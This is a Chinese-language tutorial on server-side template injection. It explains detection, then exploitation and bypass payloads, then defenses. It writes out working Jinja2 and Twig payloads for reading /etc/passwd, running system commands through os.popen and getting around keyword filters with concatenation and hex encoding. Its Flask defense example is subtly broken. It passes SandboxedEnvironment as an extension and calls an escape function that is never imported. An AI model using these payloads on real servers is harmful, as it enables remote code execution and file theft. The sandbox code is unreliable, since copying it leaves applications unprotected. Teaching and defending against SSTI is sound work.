服务端模板注入(SSTI)漏洞进阶与防护(实战篇)
字数 1590 2025-11-26 20:16:58

服务端模板注入(SSTI)漏洞进阶与防护(实战篇)

1. 漏洞描述
服务端模板注入(SSTI)是攻击者通过操纵模板引擎的输入,注入恶意代码并使其在服务器端执行的漏洞。与普通注入不同,SSTI利用的是模板引擎的语法特性,允许直接执行服务器命令或访问敏感数据。常见模板引擎包括Jinja2(Python)、Twig(PHP)、Freemarker(Java)、Handlebars(JS)等。实战中,SSTI可能出现在动态生成邮件内容、报告页面或用户自定义模板等功能中。


2. 漏洞原理与危害

  • 原理
    模板引擎通常允许嵌入变量或表达式(如{{user_input}}),若用户输入未经严格过滤直接拼接进模板,攻击者可插入模板语法(如{{7*7}}),若页面返回49则存在漏洞。进一步可调用危险函数(如Python的os.system、PHP的system)。
  • 危害
    • 远程代码执行(RCE),控制服务器。
    • 敏感文件读取(如/etc/passwd)。
    • 服务中断或数据泄露。

3. 漏洞检测步骤
步骤1:识别模板引擎类型
向输入框提交测试载荷,观察响应:

  • Jinja2:{{7*7}} → 返回49
  • Twig:{{7*7}} → 返回49
  • Freemarker:${7*7} → 返回49
  • 若表达式被原样输出,可能需尝试其他语法或上下文。

步骤2:确认注入点
测试常见边界场景:

  • URL参数:http://site.com/page?name={{2*2}}
  • 表单字段:用户注册时的"用户名"字段。
  • 文件上传:文件名被用于模板生成。

步骤3:验证命令执行能力
通过内置函数探测环境:

  • Jinja2:{{config.items()}}(泄露Flask配置)。
  • Twig:{{_self.env.registerUndefinedFilterCallback("exec")}}(调用系统命令)。

4. 漏洞利用实战(以Jinja2为例)
场景:网站用户主页通过http://site.com/user/{{username}}动态生成,用户名未过滤。

  • 探测:输入用户名{{7*7}},若页面显示"Hello 49",确认漏洞。
  • 读取文件
    {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
    
    解释:通过Python对象继承链找到file类,调用read()方法。
  • 执行命令
    {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
    
    利用Flask配置对象的全局模块os执行系统命令。

5. 进阶绕过技巧

  • 字符串拼接绕过黑名单
    若过滤了os,可改用{{request.application.__globals__.__builtins__.__import__("o"+"s")}}
  • 十六进制/Unicode编码
    {{eval("\x5f\x5fimport\x5f\x5f('os').system('ls')")}}
  • 利用模板内置变量
    Twig中{{_self}}、Jinja2中{{request}}可能包含危险方法。

6. 防护措施

  • 输入验证
    严格限制用户输入格式(如用户名仅允许字母数字),拒绝包含模板语法的内容。
  • 沙箱环境
    禁用模板引擎的危险函数(如Jinja2的{% debug %}),使用沙箱模式(如Jinja2的SandboxedEnvironment)。
  • 静态模板
    避免将用户输入直接嵌入模板,改用预定义变量(如render_template("page.html", user=input_sanitized))。
  • 最小权限原则
    模板引擎进程以低权限用户运行,限制文件系统访问。
  • 日志监控
    记录模板渲染错误,检测异常载荷(如{{频繁出现)。

7. 实战防护示例(Flask + Jinja2)

from jinja2 import Template, BaseLoader, Environment

# 错误示例:直接渲染用户输入
template = Template("Hello " + user_input)  # 危险!

# 正确示例:静态模板 + 转义
template = Template("Hello {{ name }}")
output = template.render(name=escape(user_input))  # 使用HTML转义

# 或使用沙箱环境
env = Environment(extensions=['jinja2.sandbox.SandboxedEnvironment'])
服务端模板注入(SSTI)漏洞进阶与防护(实战篇) 1. 漏洞描述 服务端模板注入(SSTI)是攻击者通过操纵模板引擎的输入,注入恶意代码并使其在服务器端执行的漏洞。与普通注入不同,SSTI利用的是模板引擎的语法特性,允许直接执行服务器命令或访问敏感数据。常见模板引擎包括Jinja2(Python)、Twig(PHP)、Freemarker(Java)、Handlebars(JS)等。实战中,SSTI可能出现在动态生成邮件内容、报告页面或用户自定义模板等功能中。 2. 漏洞原理与危害 原理 : 模板引擎通常允许嵌入变量或表达式(如 {{user_input}} ),若用户输入未经严格过滤直接拼接进模板,攻击者可插入模板语法(如 {{7*7}} ),若页面返回 49 则存在漏洞。进一步可调用危险函数(如Python的 os.system 、PHP的 system )。 危害 : 远程代码执行(RCE),控制服务器。 敏感文件读取(如 /etc/passwd )。 服务中断或数据泄露。 3. 漏洞检测步骤 步骤1:识别模板引擎类型 向输入框提交测试载荷,观察响应: Jinja2: {{7*7}} → 返回 49 。 Twig: {{7*7}} → 返回 49 。 Freemarker: ${7*7} → 返回 49 。 若表达式被原样输出,可能需尝试其他语法或上下文。 步骤2:确认注入点 测试常见边界场景: URL参数: http://site.com/page?name={{2*2}} 表单字段:用户注册时的"用户名"字段。 文件上传:文件名被用于模板生成。 步骤3:验证命令执行能力 通过内置函数探测环境: Jinja2: {{config.items()}} (泄露Flask配置)。 Twig: {{_self.env.registerUndefinedFilterCallback("exec")}} (调用系统命令)。 4. 漏洞利用实战(以Jinja2为例) 场景 :网站用户主页通过 http://site.com/user/{{username}} 动态生成,用户名未过滤。 探测 :输入用户名 {{7*7}} ,若页面显示"Hello 49",确认漏洞。 读取文件 : 解释:通过Python对象继承链找到 file 类,调用 read() 方法。 执行命令 : 利用Flask配置对象的全局模块 os 执行系统命令。 5. 进阶绕过技巧 字符串拼接绕过黑名单 : 若过滤了 os ,可改用 {{request.application.__globals__.__builtins__.__import__("o"+"s")}} 。 十六进制/Unicode编码 : {{eval("\x5f\x5fimport\x5f\x5f('os').system('ls')")}} 。 利用模板内置变量 : Twig中 {{_self}} 、Jinja2中 {{request}} 可能包含危险方法。 6. 防护措施 输入验证 : 严格限制用户输入格式(如用户名仅允许字母数字),拒绝包含模板语法的内容。 沙箱环境 : 禁用模板引擎的危险函数(如Jinja2的 {% debug %} ),使用沙箱模式(如Jinja2的 SandboxedEnvironment )。 静态模板 : 避免将用户输入直接嵌入模板,改用预定义变量(如 render_template("page.html", user=input_sanitized) )。 最小权限原则 : 模板引擎进程以低权限用户运行,限制文件系统访问。 日志监控 : 记录模板渲染错误,检测异常载荷(如 {{ 频繁出现)。 7. 实战防护示例(Flask + Jinja2)